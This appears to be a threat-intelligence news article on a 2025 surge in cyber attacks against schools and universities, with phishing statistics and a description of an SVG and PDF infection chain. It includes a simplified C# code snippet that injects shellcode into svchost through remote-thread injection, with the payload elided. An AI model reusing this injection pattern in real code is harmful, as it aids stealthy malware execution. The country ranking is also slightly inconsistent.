Cyber Attacks Targeting Education Sector Surges Following Back-to-School Season

As students and staff returned to campuses this August, a stark rise in cyber attacks against educational institutions has been observed worldwide.

From January to July 2025, organizations in the education sector endured an average of 4,356 weekly attacks, marking a 41 percent year-over-year increase. These assaults range from credential-harvesting phishing domains to sophisticated delivery of malicious code aimed at compromising networks and exfiltrating sensitive data.

The emergence of themed phishing campaigns timed to the back-to-school rush has amplified both volume and sophistication of these threats, exploiting end-user urgency and reliance on digital platforms.

Attacks have struck uniformly across all regions, but Asia-Pacific organizations faced the heaviest onslaught, with 7,869 average weekly attacks per organization.

North America saw the steepest spike, rising 67 percent YoY, while Europe and Africa recorded increases of 48 percent and 56 percent respectively.

At the country level, Italy led with 8,593 attacks per organization, followed by Hong Kong at 5,399, Portugal at 5,488, and the United States at 2,912.

Check Point analysts noted that the scale and timing of these surges indicate attackers are leveraging the seasonal spike in digital activity to maximize impact and evade detection.

Beyond sheer volume, attackers have refined their techniques. In July alone, over 18,000 new domains mimicking academic institutions were registered, with one in every 57 flagged as malicious or suspicious.

These domains often host impersonation pages that mimic Microsoft’s login interfaces. Check Point researchers identified multiple campaigns where malware payloads were delivered via seemingly benign SVG attachments or QR-encoded PDF forms, enabling credential theft and the deployment of secondary loaders.

Infection Mechanism

A deeper look at the malware’s infection chain reveals a multi-stage process designed for persistence and evasion.

Initial compromise begins with a phishing email containing either a crafted SVG file or a PDF disguised as a university communication.

When opened, the SVG invokes an embedded JavaScript that fetches a payload from a typo-squatted domain.

// Simplified loader injection snippet
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Injector {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(int a, bool b, int c);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr addr, byte[] data, int size, out IntPtr written);
    [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr lp, uint sz, IntPtr start, IntPtr arg, uint flags, out IntPtr id);

    static void Main(string[] args) {
        Process target = Process.Start("svchost.exe");
        IntPtr h = OpenProcess(0x1F0FFF, false, target.Id);
        byte[] shellcode = Convert.FromBase64String("..."); // encrypted payload
        WriteProcessMemory(h, target.MainModule.BaseAddress, shellcode, shellcode.Length, out _);
        CreateRemoteThread(h, IntPtr.Zero, 0, target.MainModule.BaseAddress, IntPtr.Zero, 0, out _);
    }
}

The payload is a .NET executable that decrypts in memory and drops a lightweight malware loader into the Windows Startup folder for persistence.

Detection evasion is achieved using process hollowing: the loader spawns a legitimate process (e.g., svchost[.]exe), unmaps its memory, and injects malicious code into the hollowed instance.

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